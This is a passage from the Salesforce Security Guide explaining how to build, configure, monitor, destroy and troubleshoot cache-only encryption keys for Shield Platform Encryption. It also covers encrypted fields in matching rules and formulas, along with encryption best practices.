The Key ID, or KID, is the unique identifier for your key. The KID is used as the suffix in the named credential and for validation of the
KID in the response. In Setup, enter this identifier in the Unique Key Identifier field.

203
Salesforce Security Guide Key Management and Rotation

Create and Assemble Your Key Material

The Shield Platform Encryption Cache-Only Key Service is compatible with 256-bit AES keys returned
EDITIONS
in a JSON response, and then wrapped using JSON Web Encryption (JWE).
Cache-only key material is wrapped in a JSON format. An example cache-only key is used throughout Available in: Enterprise,
this article to illustrate how key material changes as you assemble it. Performance, Unlimited,
and Developer Editions.
1. Generate a 256-bit AES data encryption key. You can use the cryptographically secure method
Requires purchasing
of your choice.
Salesforce Shield or Shield
2. Generate a 256-bit AES content encryption key using a cryptographically secure method. Platform Encryption, and the
3. Generate and download your BYOK-compatible certificate. Cache-Only Key Service.

4. Create the JWE protected header. The JWE protected header is a JSON object with 3 claims: Available in both Salesforce
the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the Classic and Lightning
data encryption key, and the unique ID of the cache-only key. Here’s an example header to get Experience.
us started.

{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b"}

5. Encode the JWE protected header as BASE64URL(UTF8(JWE Protected Header)).

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ

6. Encrypt the content encryption key with the public key from the BYOK certificate using the RSAES-OAEP algorithm. Then encode
this encrypted content encryption key as BASE64URL(Encrypted CEK).
l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvfT24oBCWkh6hy_dqAL7JlVO4
49EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWBfpMsl4jf0exP5-5amiTZ5oP
0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3YohuMVlmCdEmR2TfwTvryLPx4K
bFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv46m8mUATZSD4hab8v3Mq4H3
3CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSslCVav4buG8hkOJXY69iW_zhz
tV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7IvzeneL5I81QjQlDJmZhbLLor
FHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9PwrULWyRTLMI7CdZIm7jb8v9AL
xCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZyEnhj2x-3Vfv5hIVauC6ja1
B6Z_UcqXKOc

7. Generate an initialization vector for use as input to the data encryption key’s AES wrapping. Then encode it in base64url.
N2WVMbpAxipAtG9O

8. Wrap your data encryption key with your content encryption key.
a. Encode the JWE header as ASCII(BASE64URL(UTF8(JWE Protected Header))).
b. Reform authenticated encryption on the data encryption key with the AES GCM algorithm. Use the content encryption key as
the encryption key, the initialization vector (the bytes, not the base64URL encoded version), and the Additional Authenticated
Data value, requesting a 128-bit Authentication Tag output.
c. Encode the resulting ciphertext as BASE64URL(Ciphertext).
d. Encode the Authentication Tag as BASE64URL(Authentication Tag).
63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk32DinS_zFo4

204
Salesforce Security Guide Key Management and Rotation

and
HC7Ev5lmsbTgwyGpeGH5Rw

9. Assemble your JWE as a compact serialization of all the preceding values. Concatenate values separated by a period.
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ.l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvf
T24oBCWkh6hy_dqAL7JlVO449EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWB
fpMsl4jf0exP5-5amiTZ5oP0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3Yoh
uMVlmCdEmR2TfwTvryLPx4KbFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv
46m8mUATZSD4hab8v3Mq4H33CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSsl
CVav4buG8hkOJXY69iW_zhztV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7Iv
zeneL5I81QjQlDJmZhbLLorFHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9Pwr
ULWyRTLMI7CdZIm7jb8v9ALxCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZ
yEnhj2x-3Vfv5hIVauC6ja1B6Z_UcqXKOc.N2WVMbpAxipAtG9O.63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk
32DinS_zFo4.HC7Ev5lmsbTgwyGpeGH5Rw

For more detailed examples of this process, check out the sample Cache-Only Key Wrapper in Github. You can use either the utility in
this repository or another service of your choosing.

205
Salesforce Security Guide Key Management and Rotation

Configure Your Cache-Only Key Callout Connection

Use a named credential to specify the endpoint for your callout, and identify the key that you want
EDITIONS
to fetch from your endpoint.
1. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated Available in: Enterprise,
or customer-supplied. You can create a tenant secret by clicking Generate Tenant Secret on Performance, Unlimited,
the Key Management page in Setup. and Developer Editions.
Requires purchasing
2. From Setup, enter Named Credential in the Quick Find box, then select Named
Salesforce Shield or Shield
Credential. Platform Encryption, and the
Tip: A named credential provides an authenticated callout mechanism through which Cache-Only Key Service.
Salesforce can fetch your key material. Because named credentials are allowlisted, they’re Available in both Salesforce
a secure and convenient channel for key material stored outside of Salesforce. Classic and Lightning
Learn more about named credentials, how to define a named credential, and how to Experience.
grant access to authentication settings for named credentials in Salesforce Help.
USER PERMISSIONS
3. Create a named credential. Specify an HTTPS endpoint from which Salesforce can fetch your
key material. To create, edit, and delete
named credentials:
4. From Setup, enter Platform Encryption in the Quick Find box and select Advanced
• Customize Application
Settings.
To allow cache-only keys
5. Select Allow Cache-Only Keys with BYOK. with BYOK:
You can also enable the Cache-Only Key Service programmatically. For more information, see • Customize Application
EncryptionKeySettings in the Metadata API Developer Guide. AND
Note: If you deselect Allow Cache-Only Keys with BYOK, data encrypted with Manage Encryption Keys
cache-only key material remains encrypted and Salesforce continues to invoke secured To generate, destroy, export,
callouts. However, you can't modify your cache-only key configuration or add new ones. import, upload, and
If you don't want to use cache-only keys, rotate your key material to use customer-supplied configure tenant secrets and
(BYOK) key material. Then synchronize all your data, and deselect Allow Cache-Only customer-supplied key
material:
Keys with BYOK.
• Manage Encryption Keys
6. From Setup, enter Platform Encryption in the Quick Find box, then select Key
Management.
7. Choose a key type from the Tenant Secret Type dropdown.
8. Select Bring Your Own Key.
9. Select a BYOK-compatible certificate from the Choose Certificate dropdown.
10. Select Use a Cache-Only Key.
11. For Unique Key Identifier, enter your KID—the unique key identifier for your data encryption key. Your identifier can be a number,
a string (2018_data_key), or a UUID (982c375b-f46b-4423-8c2d-4d1a69152a0b).
12. In the Named Credential dropdown, select the named credential associated with your key. You can have multiple keys associated
with each named credential.

206
Salesforce Security Guide Key Management and Rotation

Salesforce checks the connection to the endpoint specified by the named credential. If Salesforce can reach the endpoint, the key
specified for the Unique Key Identifier becomes the active key. All data marked for encryption by your encryption policy is encrypted
with your cache-only key.
If Salesforce can’t reach the specified endpoint, an error displays to help you troubleshoot the connection.

Cache-only key status is recorded as Fetched on the Key Management page. In Enterprise API, the TenantSecret Source value is listed
as Remote.

Tip: You can monitor key configuration callouts in the Setup Audit Trail. When a callout to an active or archived cache-only key
is successful, the Setup Audit Trail logs an Activated status. Individual callouts are not monitored in Setup Audit Trail.

207
Salesforce Security Guide Key Management and Rotation

Add Replay Detection for Cache-Only Keys

Replay detection protects your cache-only keys if a callout is fraudulently intercepted. When enabled,
EDITIONS
replay detection inserts an autogenerated, unique marker called a RequestIdentifier into every
callout. The RequestIdentifier includes the key identifier, a nonce generated for that callout instance, Available in: Enterprise,
and the nonce required from the endpoint. The RequestIdentifier serves as a random, one-time Performance, Unlimited,
identifier for each valid callout request. Once you set up your key service to accept and return the and Developer Editions.
RequestIdentifier, any callout with missing or mismatched RequestIdentifiers is aborted. Requires purchasing
1. Update your key service to extract the nonce generated for the callout instance from the Salesforce Shield or Shield
RequestIdentifier. Here’s what the nonce looks like. Platform Encryption, and the
Cache-Only Key Service.
e5ab58fd2ced013f2a46d5c8144dd439
Available in both Salesforce
2. Echo this nonce in the JWE protected header, along with the algorithm used to encrypt the Classic and Lightning
content encryption key, the algorithm used to encrypt the data encryption key, and the unique Experience.
ID of the cache-only key. Here’s an example.

USER PERMISSIONS

To create, edit, and delete

named credentials:
• Customize Application
To enable replay detection
for cache-only keys:
• Customize Application
AND
Manage Encryption Keys
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b","jti":"e5ab58fd2ced013f2a46d5c8144dd439"}

3. From Setup, enter Platform Encryption in the Quick find box, and click Advanced Settings.
4. Select Enable Replay Detection for Cache-Only Keys.
You can also enable replay detection programmatically. For more information, see EncryptionKeySettings in the Metadata API
Developer Guide.
From now on, every callout to an external key service includes a unique RequestIdentifier.

Warning: If you enable replay detection but don’t return the nonce with your cache-only key material, Salesforce aborts the
callout connection and displays a POTENTIAL_REPLAY_ATTACK_DETECTED error.

208
Salesforce Security Guide Key Management and Rotation

Check Your Cache-Only Key Connection

Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a
EDITIONS
functional callout connection. Use the Callout Check page to monitor your connection and quickly
respond to key service interruptions that could prevent the service from fetching your keys. Available in: Enterprise,
The Cache-Only Key: Callout Check page is accessible after you enable the Cache-Only Key Service Performance, Unlimited,
in your org and make your first callout. Data presented as part of a callout check are never stored and Developer Editions.
in the system of record. Requires purchasing
Salesforce Shield or Shield
1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Platform Encryption, and the
Management. Cache-Only Key Service.
2. Choose the Certificate Unique Name and Named Credential associated with your Unique Key
Available in both Salesforce
Identifier.
Classic and Lightning
3. In the Actions column, next to the key material you want to check, click Details. Experience.
4. On the Cache-Only Key: Callout Check page, click Check.
Details about your callout connection display on the page. It can take a few moments for the USER PERMISSIONS
callout check to complete and display the results.
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

5. Review the details about your callout connection. If your callout connection was unsuccessful, you see a descriptive error message
at the bottom of the results pane. Use this message to make the appropriate adjustments to your key service.

209
Salesforce Security Guide Key Management and Rotation

Destroy a Cache-Only Key

When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the
EDITIONS
callout connection to the key service.
1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Available in: Enterprise,
Management. Performance, Unlimited,
and Developer Editions.
2. Choose a key type from the Tenant Secret Type dropdown.
Requires purchasing
3. Click Destroy. Salesforce Shield or Shield
Your key material’s status is changed to Destroyed, and callouts to this key stop. Data encrypted Platform Encryption, and the
with this key material is masked with “?????” in the app. Cache-Only Key Service.

Note: Your cache-only key is unique to your org and to the specific data to which it applies. Available in both Salesforce
When you destroy a cache-only key, related data isn’t accessible unless you reactivate it and Classic and Lightning
make sure that Salesforce can fetch it. Experience.

USER PERMISSIONS

To generate, destroy, export,

import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

Reactivate a Cache-Only Key

If you still have your named credential associated with a key that was destroyed in Salesforce, you
EDITIONS
can reactivate a destroyed cache-only key from Setup or programmatically through the API.
Reactivating a destroyed key makes it the active key. Before you reactivate a destroyed key, make Available in: Enterprise,
sure that the corresponding key service connection is recovered. Performance, Unlimited,
1. From Setup, enter Platform Encryption in the Quick Find box, then select Key and Developer Editions.
Management. Requires purchasing
Salesforce Shield or Shield
2. Next to cache-only key you want to reactivate, click Activate. Platform Encryption, and the
Cache-Only Key Service.

Available in both Salesforce

Classic and Lightning
Experience.

USER PERMISSIONS

To generate, destroy, export,

import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

210
Salesforce Security Guide Key Management and Rotation

The Shield Key Management Service fetches the reactivated cache-only key from your key service, and uses it to access data that
was previously encrypted with it.

Note: You can sync your data to your active cache-only key just like you can with any other key material.

Considerations for Cache-Only Keys

These considerations apply to all data that you encrypt using the Shield Platform Encryption
EDITIONS
Cache-Only Key Service.
Available as an add-on
Retry Policy subscription in: Enterprise,
Performance, and
If Salesforce can’t reach your external key service, the callout fails and your active cache-only key’s Unlimited Editions. Requires
status is set to Destroyed. This prevents excessive loads on both services. The Cache-Only Key Service purchasing Salesforce
then periodically retries the callout to help you minimize down time. Retries occur once per minute Shield. Available in
for five minutes, then once every five minutes for 24 hours. If the Cache-Only Key Service can Developer Edition at no
successfully complete a callout during this retry period, your cache-only key’s status is reset to charge for orgs created in
Active. Summer ’15 and later.
At any point during a retry period, you can activate your key material through Setup or the API Available in both Salesforce
pending remote key service availability. If you reactivate your key material during the retry period, Classic and Lightning
all retry attempts stop. Experience.
The RemoteKeyCalloutEvent object captures every callout to your key service. You can subscribe
to this event with after insert Apex triggers, and set up real-time alerts that notify you when a callout
fails.

401 HTTP Responses

In the event of a 401 HTTP response, Salesforce automatically refreshes any OAuth token associated with your named credential, and
retries the request.

211
Salesforce Security Guide Key Management and Rotation

Einstein Analytics
Backups of Einstein Analytics data are encrypted with your Shield Platform Encryption keys. If you encrypt data in Einstein Analytics
datasets with a cache-only key, make sure that the Analytics cache-only key is in the same state as your Data in Salesforce-type cache-only
key.

Setup Audit Trail

Setup Audit Trail records activated cache-only key versions differently depending on whether a cache-only key with the Active status
exists when you reactivate the key.
However, if you reactivate a destroyed key and there is already another key with the Active status, the Setup Audit Trail shows the
reactivated key with an updated version number.

Cache-Only Keys and Key Types

Use a separate cache-only key for each type of data you want to encrypt. You can’t use a cache-only key with multiple key types. For
example, you can’t use a cache-only key to encrypt both search indexes and Einstein Analytics data.

Service Protections
To protect against Shield KMS interruptions and ensure smooth encryption and decryption processes, you can have up to 10 active and
archived cache-only keys of each type.
If you reach your key limit, destroy an existing key so that you can create, upload, reactivate, rearchive, or create a callout to another one.
Remember to synchronize your data with an active key before destroying key material.

Troubleshoot Cache-Only Keys

One or more of these frequently asked questions may help you troubleshoot any problems that
EDITIONS
arise with Shield Platform Encryption’s Cache-Only Key Service.
The callout to my key service isn’t going through. What can I do? Available as an add-on
subscription in: Enterprise,
Callouts can fail for various reasons. Review the error message that displays and follow these
Performance, and
tips for resolving the problem. All callouts are recorded in the RemoteKeyCalloutEvent object.
Unlimited Editions. Requires
Table 3: Cache-Only Key Service Errors and Status Codes purchasing Salesforce
Shield. Available in
RemoteKeyCalloutEvent Error Tips for Fixing the Developer Edition at no
Status Code Problem charge for orgs created in
DESTROY_HTTP_CODE The remote key service To find out what went wrong, Summer ’15 and later.
returned an HTTP error: {000}. review the HTTP response Available in both Salesforce
A successful HTTP response code. Classic and Lightning
will return a 200 code. Experience.
ERROR_HTTP_CODE The remote key service To find out what went wrong,
returned an unsupported review the HTTP response
HTTP response code: {000}. A code.
successful HTTP response will
return a 200 code.

MALFORMED_CONTENT_ENCRYPTION_KEY The remote key service Check that you set up your
returned a content encryption named credential properly

212
Salesforce Security Guide Key Management and Rotation

RemoteKeyCalloutEvent Status Error Tips for Fixing the Problem

Code
key in the JWE that couldn’t be decrypted and are using the correct BYOK-compatible
with the certificate’s private key. Either the certificate.
JWE is corrupted, or the content
encryption key is encrypted with a
different key.

MALFORMED_DATA_ENCRYPTION_KEY The content encryption key couldn’t Check that you set up your named
decrypt the data encryption key that was credential properly and are using the
returned in the remote key service’s JWE. correct BYOK-compatible certificate.
The data encryption key is either Named credentials must call out to an
malformed, or encrypted with a different HTTPS endpoint.
content encryption key.

MALFORMED_JSON_RESPONSE We can’t parse the JSON returned by your Contact your remote key service.
remote key service. Contact your remote
key service for help.

MALFORMED_JWE_RESPONSE The remote key service returned a Contact your remote key service.
malformed JWE token that can’t be
decoded. Contact your remote key service
for help.

EMPTY_RESPONSE The remote key service callout returned Contact your remote key service.
an empty response. Contact your remote
key service for help.

RESPONSE_TIMEOUT The remote key service callout took too If your key service is unavailable after
long and timed out. Try again. multiple callout attempts, contact your
remote key service.

UNKNOWN_ERROR The remote key service callout failed and Contact your remote key service.
returned an error: {000}.

INCORRECT_KEYID_IN_JSON The remote key service returned JSON with Check that you set up your named
an incorrect key ID. Expected: {valid keyID}. credential properly and are using the
Actual: {invalid keyID}. correct BYOK-compatible certificate.

INCORRECT_KEYID_IN_JWE_HEADER The remote key service returned a JWE Check that you set up your named
header with an incorrect key ID. Expected: credential properly and are using the
{valid keyID}. Actual: {invalid keyID}. correct BYOK-compatible certificate.

INCORRECT_ALGORITHM_IN_JWE_HEADER The remote key service returned a JWE The algorithm for encrypting the content
header that specified an unsupported encryption key in your JWE header must
algorithm (alg): {algorithm}. be in RSA-OAEP format.

INCORRECT_ENCRYPTION_ALGORITHM_IN_JWE_HEADER The remote key service returned a JWE The algorithm for encrypting the data
header that specified an unsupported encryption key in your JWE header must
encryption algorithm (enc): {your enc}. be in A256GCM format.

INCORRECT_DATA_ENCRYPTION_KEY_SIZE Data encryption keys encoded in a JWE Make sure that your data encryption key
must be 32 bytes. Yours is {value} bytes. is 32 bytes.

213
Salesforce Security Guide Key Management and Rotation

RemoteKeyCalloutEvent Status Error Tips for Fixing the Problem

Code
ILLEGAL_PARAMETERS_IN_JWE_HEADER Your JWE header must use {0}, but no Remove the unsupported parameters from
others. Found: {1}. your JWE header.

MISSING_PARAMETERS_IN_JWE_HEADER Your JWE header is missing one or more Make sure that your JWE header includes
parameters. Required: {0}. Found:{1}. all required values. For example, if Replay
Detection is enabled, the JWE header must
include the nonce value extracted from
the cache-only key callout.

AUTHENTICATION_FAILURE_RESPONSE Authentication with the remote key service Check the authentication settings for your
failed with the following error: {error}. chosen named credential.

POTENTIAL_REPLAY_ATTACK_DETECTED The remote key service returned a JWE Make sure that your JWE header includes
header with an incorrect nonce value. the RequestID included in the callout.
Expected: {0}. Actual: {1}

UNKNOWN_ERROR The remote key service callout failed and The certificate for your cache-only key
returned an error: expired. Update your cache-only key
java.security.cert.CertificateExpiredException: material to use an active BYOK-compatible
NotAfter: {date and time of expiration} certificate.

The following key service errors can prevent the callout from completing. If you see errors related to these problems, contact your
key service administrator for help.
• The JWE is corrupt or malformed.
• The data encryption key is malformed.
• The key service returned a malformed JWE token.
• The key service returned an empty response.
For uniform resource use, Salesforce limits the amount of time for each key service callout to 3 seconds. If the callout takes more
than the allotted time, Salesforce fails the callout with a timeout error. Check that your key service is available. Make sure that your
named credential references the correct endpoint—check the URL, including the IP address.
Can I execute a remote callout in Apex?
Yes. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your
code doesn’t have to. To reference a named credential from a callout definition, use the named credential URL. A named credential
URL contains the scheme callout, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
See Named Credentials as Callout Endpoints in the Apex Developer Guide.
Can I monitor my callout history?
If you want to review or track cache-only key events, use the RemoteKeyCalloutEvent standard object. Either use the
describeSObjects() call to view event information, or an after insert Apex trigger to perform custom actions after each
callout. For example, you can write a trigger that stores RemoteKeyCallout events in a custom object. When you store
RemoteKeyCallout events in a custom object, you can monitor your callout history. See the RemoteKeyCalloutEvent entry in
the SOAP API Developer Guide for more information.
The Setup Audit Trail tracks changes in key material state and named credential settings. Callout history isn’t recorded in log files.

214
Salesforce Security Guide Shield Platform Encryption Customizations

When I try to access data encrypted with a cache-only key, I see “?????” instead of my data. Why?
Masking means one of two things. Either the connection to your key service is broken and we can’t fetch your key, or the data is
encrypted with a destroyed key. Check that your key service is available and that your named credential references the correct
endpoint. If any key versions are marked as Destroyed as a result of a key service failure, recover the connection and manually activate
the key version.
Do I have to make a new named credential every time I rotate a key?
Nope. You can use a named credential with multiple keys. As long as you host your key material at the endpoint specified in an
existing named credential, you’re all set. When you rotate your key material, change the key ID in the Unique Key Identifier field.
Double-check that your new key is stored at the specified endpoint URL in your named credential.
I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive or Salesforce Customer Support. They’ll put you in touch with a support
team specific to this feature.

Shield Platform Encryption Customizations

Some features and settings require adjustment before they work with encrypted data.
EDITIONS

IN THIS SECTION: Available as an add-on

subscription in: Enterprise,
Apply Encryption to Fields Used in Matching Rules
Performance, and
Matching rules used in duplicate management help you maintain clean and accurate data. To Unlimited Editions. Requires
make fields encrypted with Shield Platform Encryption compatible with standard and custom purchasing Salesforce
matching rules, use the deterministic encryption scheme. Shield. Available in
Use Encrypted Data in Formulas Developer Edition at no
Use custom formula fields to quickly find encrypted data. Shield Platform Encryption is charge for orgs created in
Summer ’15 and later.
compatible with several operators and functions, and can render encrypted data in text, date,
and date/time formats, and reference quick actions. Available in both Salesforce
Classic and Lightning
Experience.

215
Salesforce Security Guide Shield Platform Encryption Customizations

Apply Encryption to Fields Used in Matching Rules

Matching rules used in duplicate management help you maintain clean and accurate data. To make
EDITIONS
fields encrypted with Shield Platform Encryption compatible with standard and custom matching
rules, use the deterministic encryption scheme. Available as an add-on
Ask an administrator to enable Deterministic Encryption from the Platform Encryption Advanced subscription in: Enterprise,
Settings page. If you don’t have a Data in Salesforce (Deterministic) type tenant secret, create one Performance, and
from the Platform Encryption Key Management page. Unlimited Editions. Requires
purchasing Salesforce
Important: Matching rules used in duplicate management don’t support probabilistically Shield. Available in
encrypted data. Developer Edition at no
Follow these steps to add encrypted fields to existing custom matching rules. charge for orgs created in
Summer ’15 and later.
1. From Setup, in the Quick Find box, enter Matching Rules, and then select Matching
Rules. Available in both Salesforce
Classic and Lightning
2. Deactivate the matching rule that reference fields you want to encrypt. If your matching rule Experience.
is associated with an active duplicate rule, first deactivate the duplicate rule from the Duplicate
Rules page. Then return to the Matching Rules page and deactivate the matching rule.
USER PERMISSIONS
3. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy. To view setup:
4. Click Encrypt Fields. • View Setup and
Configuration
5. Click Edit.
To enable encryption key
6. Select the fields you want to encrypt, and select Deterministic from the Encryption Scheme (tenant secret) management:
list. • Manage Profiles and
Permission Sets

7. Click Save.

Tip: Standard matching rules are automatically deactivated when encryption is added to a field referenced by that rule. To
encrypt fields referenced in standard matching rules, follow steps 3–8.

8. After you get the email verifying encryption’s been enabled on your fields, reactivate your matching rule and associated duplicate
management rule.
Matching rules used in duplicate management now return exact and fuzzy matches on encrypted data.

Example: Let’s say you recently encrypted Billing Address on your Contacts, and you want to add this field to a custom matching
rule. First, deactivate the rule or rules you want to add this field to. Make sure that Billing Address is encrypted with the deterministic
encryption scheme. Then add Billing Address to your custom matching rule, just like you would add any other field. Finally, reactivate
your rule.
When you rotate your key material, you must update custom matching rules that reference encrypted fields. After you rotate your key
material, deactivate and then reactivate the affected matching rules. Then contact Salesforce to request the background encryption
process. When the background encryption process finishes, your matching rules can access all data encrypted with your active key
material.

216
Salesforce Security Guide Shield Platform Encryption Customizations

Important: To ensure accurate matching results, customers who used the beta version of this feature must deactivate any
matching rules that reference encrypted fields and then reactivate them. If your custom matching rule fails on reactivation, contact
Salesforce for help reactivating your match index.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Use Encrypted Data in Formulas

Use custom formula fields to quickly find encrypted data. Shield Platform Encryption is compatible
EDITIONS
with several operators and functions, and can render encrypted data in text, date, and date/time
formats, and reference quick actions. Available as an add-on
subscription in: Enterprise,
Supported Operators, Functions, and Actions Performance, and
Unlimited Editions. Requires
Supported operators and functions: purchasing Salesforce
• & and + (concatenate) Shield. Available in
Developer Edition at no
• BLANKVALUE
charge for orgs created in
• CASE Summer ’15 and later.
• HYPERLINK
Available in both Salesforce
• IF Classic and Lightning
• IMAGE Experience.
• ISBLANK
• ISNULL
• NULLVALUE
Also supported:
• Spanning
• Quick actions
Formulas can return data only in text, date, or date/time formats.

& and + (Concatenate)

This works:
(encryptedField__c & encryptedField__c)

Why it works: This works because & is supported.

This doesn’t work:

LOWER(encryptedField__c & encryptedField__c)

Why it doesn’t work: LOWER isn’t a supported function, and the input is an encrypted value.

Case
CASE returns encrypted field values, but doesn’t compare them.

217
Salesforce Security Guide Shield Platform Encryption Customizations

This works:
CASE(custom_field__c, "1", cf2__c, cf3__c))

where either or both cf2__c and cf3__c are encrypted

Why it works: custom_field__c is compared to “1”. If it is true, the formula returns cf2__c because it’s
not comparing two encrypted values.

This doesn’t work:

CASE("1", cf1__c, cf2__c, cf3__c)

where cf1__c is encrypted

Why it doesn’t work: You can’t compare encrypted values.

ISBLANK and ISNULL

This works:
OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))

Why it works: Both ISBLANK and ISNULL are supported. OR works in this example because ISBLANK and
ISNULL return a Boolean value, not an encrypted value.

Spanning

This works:
(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &
(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)

How and why you use it: Spanning retrieves encrypted data from multiple entities. For example, let’s say you work in the
customer service department for Universal Containers. A customer has filed a case about a distribution
problem, and you want to see the scope of the issue. You want all the shipping addresses related
to this particular case. This example returns all the customers’ shipping addresses as a single string
in your case layout.

Validation
The encryption validation service checks your org to make sure that it’s compatible with encrypted formula field types.
When you encrypt a given field, the validation service:
• Retrieves all formula fields that reference the field
• Verifies that the formula fields are compatible with encryption
• Verifies that the formula fields aren’t used elsewhere for filtering or sorting

218
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Limits
Up to 200 formula fields can reference a given encrypted custom field. A field that is referenced by more than 200 formula fields can’t
be encrypted. If you need to reference an encrypted custom field from more than 200 formula fields, contact Salesforce.
When you specify multiple fields to encrypt at one time, the 200-field limit is applied to the whole batch. If you know that you are
encrypting fields that have multiple formula fields pointing to them, encrypt those fields one at a time.

Tradeoffs and Limitations of Shield Platform Encryption

A security solution as powerful as Shield Platform Encryption doesn't come without some tradeoffs.
EDITIONS
When your data is encrypted, some users may see limitations to some functionality, and a few
features aren't available at all. Consider the impact on your users and your overall business solution Available as an add-on
as you design your encryption strategy. subscription in: Enterprise,
Performance, and
IN THIS SECTION: Unlimited Editions. Requires
purchasing Salesforce
Shield Platform Encryption Best Practices Shield. Available in
Take the time to identify the most likely threats to your org. This process helps you distinguish Developer Edition at no
data that needs encryption from data that doesn’t, so that you can encrypt only what you need charge for orgs created in
to. Make sure that your tenant secret and keys are backed up, and be careful who you allow to Summer ’15 and later.
manage your secrets and keys.
Available in both Salesforce
General Shield Platform Encryption Considerations Classic and Lightning
These considerations apply to all data that you encrypt using Shield Platform Encryption. Experience.
Considerations for Using Deterministic Encryption
These considerations apply to data encrypted with Shield Platform Encryption’s deterministic
encryption scheme. Some considerations manifest differently depending on whether data is encrypted with the case-sensitive or
case-insensitive deterministic encryption scheme.
Shield Platform Encryption and the Lightning Experience
Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce Classic, with a few minor exceptions.
Field Limits with Shield Platform Encryption
Under certain conditions, encrypting a field can impose limits on the values that you store in that field. If you expect users to enter
non-ASCII values, such as Chinese, Japanese, or Korean-encoded data, we recommend creating validation rules to enforce these
field limits.
Which Salesforce Apps Don’t Support Shield Platform Encryption?
Some Salesforce features work as expected when you work with data that’s encrypted with Shield Platform Encryption. Others don’t.

219
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Shield Platform Encryption Best Practices

Take the time to identify the most likely threats to your org. This process helps you distinguish data
EDITIONS
that needs encryption from data that doesn’t, so that you can encrypt only what you need to. Make
sure that your tenant secret and keys are backed up, and be careful who you allow to manage your Available as an add-on
secrets and keys. subscription in: Enterprise,
1. Define a threat model for your organization. Performance, and
Unlimited Editions. Requires
To identify the threats that are most likely to affect your organization, walk through a formal
purchasing Salesforce
threat modeling exercise. Use your findings to create a data classification scheme, which can Shield. Available in
help you decide what data to encrypt. Developer Edition at no
charge for orgs created in
2. Encrypt only where necessary.
Summer ’15 and later.
• Not all data is sensitive. Focus on information that requires encryption to meet your
regulatory, security, compliance, and privacy requirements. Unnecessarily encrypting data Available in both Salesforce
impacts functionality and performance. Classic and Lightning
Experience.
• Evaluate your data classification scheme early and work with stakeholders in security,
compliance, and business IT departments to define requirements. Balance business-critical
functionality against security and risk measures and challenge your assumptions periodically.

3. Create a strategy early for backing up and archiving keys and data.
If your tenant secrets are destroyed, reimport them to access your data. You are solely responsible for making sure that your data
and tenant secrets are backed up and stored in a safe place. Salesforce cannot help you with deleted, destroyed, or misplaced tenant
secrets.

4. Read the Shield Platform Encryption considerations and understand their implications on your organization.
• Evaluate the impact of the considerations on your business solution and implementation.
• Test Shield Platform Encryption in a sandbox environment before deploying to a production environment. Encryption policy
settings can be deployed using change sets.
• Before enabling encryption, fix any violations that you uncover. For example, if you reference encrypted fields in a SOQL ORDER
BY clause, a violation occurs. Fix the violation by removing references to the encrypted fields.
• When requesting feature enablement, such as pilot features, give Salesforce Customer Support several days lead time. The time
